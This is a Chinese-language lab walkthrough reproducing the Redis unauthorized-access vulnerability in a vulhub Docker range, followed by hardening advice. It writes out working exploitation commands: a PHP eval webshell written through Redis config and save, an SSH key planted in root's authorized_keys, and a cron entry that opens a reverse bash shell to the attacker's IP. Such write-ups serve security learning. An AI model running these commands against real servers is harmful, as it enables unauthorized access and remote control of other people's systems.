Redis未授权漏洞复现
Redis
redis(remote dictionary server)是一个key-value存储系统,是跨平台的非关系型数据库。
redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的安全策略限制,redis服务会暴露在服务器公网上。如果此时又没有设置密码认证(默认为空),会导致任意用户在可以访问目标服务器的情况下未授权访问redis以及读取redis的数据。
漏洞的产生条件及利用
漏洞的影响版本
redis 2.x,3.x,4.x,5.x
漏洞的产生条件
1、redis绑定在0.0.0.0:6379,没有采用相关的安全策略限制,直接暴露在公网。
2、没有设置密码认证,可以免密码远程登录redis服务。
漏洞如何利用
1、利用redis写入webshell
2、利用redis写入ssh公钥
3、利用redis写入计划任务
Redis环境搭建
第一种方式:下载安装符合漏洞版本的Redis并解压,进入到Redis目录中,执行make,通过make编译的方式来安装。
第二种方式:使用docker搭建vulhub靶场环境。
我采用的是第二种dokcer的方式搭建redis环境,比较方便。
1、安装docker:curl -s https://get.docker.com/ | sh
2、安装docker-compose:apt install docker-compose
3、安装vulhub:git clone https://gitee.com/puier/vulhub.git
vulhub靶场环境搭建参考:https://www.cnblogs.com/zovt/p/16337343.html
进入到目标主机vulhub的redis的漏洞目录下,启动漏洞环境。
cd ./vulhub/redis/4-unacc/
docker-compose up -d
docker-compose ps
可以看出redis服务6379已经启动。
nmap扫描到靶机的6379端口为open状态。
如果nmap扫描到的6379端口没有开放,需要关闭防火墙,云主机还要在安全组开放端口。
漏洞复现
环境:Ubuntu靶机IP:192.168.88.150;Kali攻击机IP:192.168.88.128
利用Redis写入Webshell
服务端的redis默认没有设置密码认证,在攻击机上能用redis-cli可以直接登陆连接。若服务端存在Web服务,并且知道Web目录的路径,那么可以向该目录写入webshell,然后使用蚁剑之类的工具连接getshell。
攻击机安装redis-cli远程连接工具:
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
无密码登录命令:
redis-cli -h 目标主机ip
可以查看requirepass参数,默认情况下requirepass参数是空的,也就是说默认情况下是无密码验证的,这就意味着无需通过密码验证就可以连接到redis服务。这是未授权访问的利用的条件之一。
由于靶场没有开启web服务器,这里向/tmp目录写入一个文件。
将dir设置为/tmp目录,意为将指定本地数据库存放目录设置为/tmp。将dbfilename设置为文件名shell.php,即指定本地数据库文件名为shell.php。再执行save命令就可以写入一个路径为/tmp/shell.php的文件。
如果知道web目录的绝对路径,将tmp目录替换为如/var/www/html,这样就可以在服务器端的/var/www/html下写入一个webshell文件。
写webshell的时候,可以使用:
set webshell "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"
\r\n\r\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行。
进入靶机的docker环境查看,如下图所示说明webshell写入成功。
利用Redis写入SSH公钥
通过redis向目标服务器写入ssh公钥,将公钥放到linux系统的/root/.ssh/authorized_keys的文件中,本地客户端通过导入对应私钥进行登陆。
条件是服务端存在.ssh目录并且有写入的权限,并且需要redis是root启动的情况下使用,因为非root权限无法进入/root目录。
首先在攻击机的/root/.ssh目录里生成ssh公钥key:
cd ~/.ssh
ssh-keygen -t rsa
接着将公钥写入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合):
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt
连接目标服务器上的redis服务,将保存的公钥key.txt写入redis数据库:
cat /root/.ssh/key.txt | redis-cli -h 192.168.88.150 -x set pkey
使用redis-cli -h ip,将文件写入:
连接目标机器redis,设置redis的路径为/root/.ssh/和保存文件名为authorized_keys,然后保存。
redis-cli -h 192.168.88.150
config set dir /root/.ssh
config set dbfilename authorized_keys
save
设置路径为/root/.ssh/时报错:(error) ERR Changing directory: Permission denied
查阅相关文章,说redis并不是以root启动的,可能需要修改docker-compose.yml配置以root用户来运行容器、参考文章docker-compose privileged root,尝试了设置privileged:true让容器以root权限运行,但是修改配置以后,重新构建环境失败。
还是安装一个存在漏洞版本的redis比较好,这样可以更好地复现漏洞利用过程。
利用Redis写入计划任务
和写webshell和ssh公钥的原理类似,连接服务端的Redis,写入反弹shell的计划任务:
config set dir /var/spool/cron/crontabs
config set dbfilename root
set fbash "\n\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.88.128/1234 0>&1\n\n\n"
save
然后kali上监听1234端口:
nc -lvp 1234
综上无法利用的原因可能有:redis不是以root权限启动,没有可以写入文件的路径或权限,文件权限不足等。
Redis安全防护
1、禁止监听在公网地址
2、修改默认的监听端口
3、开启redis安全认证
4、禁止用root权限启动
5、设置redis配置文件的访问权限
若有错误,欢迎指正!o( ̄▽ ̄)ブ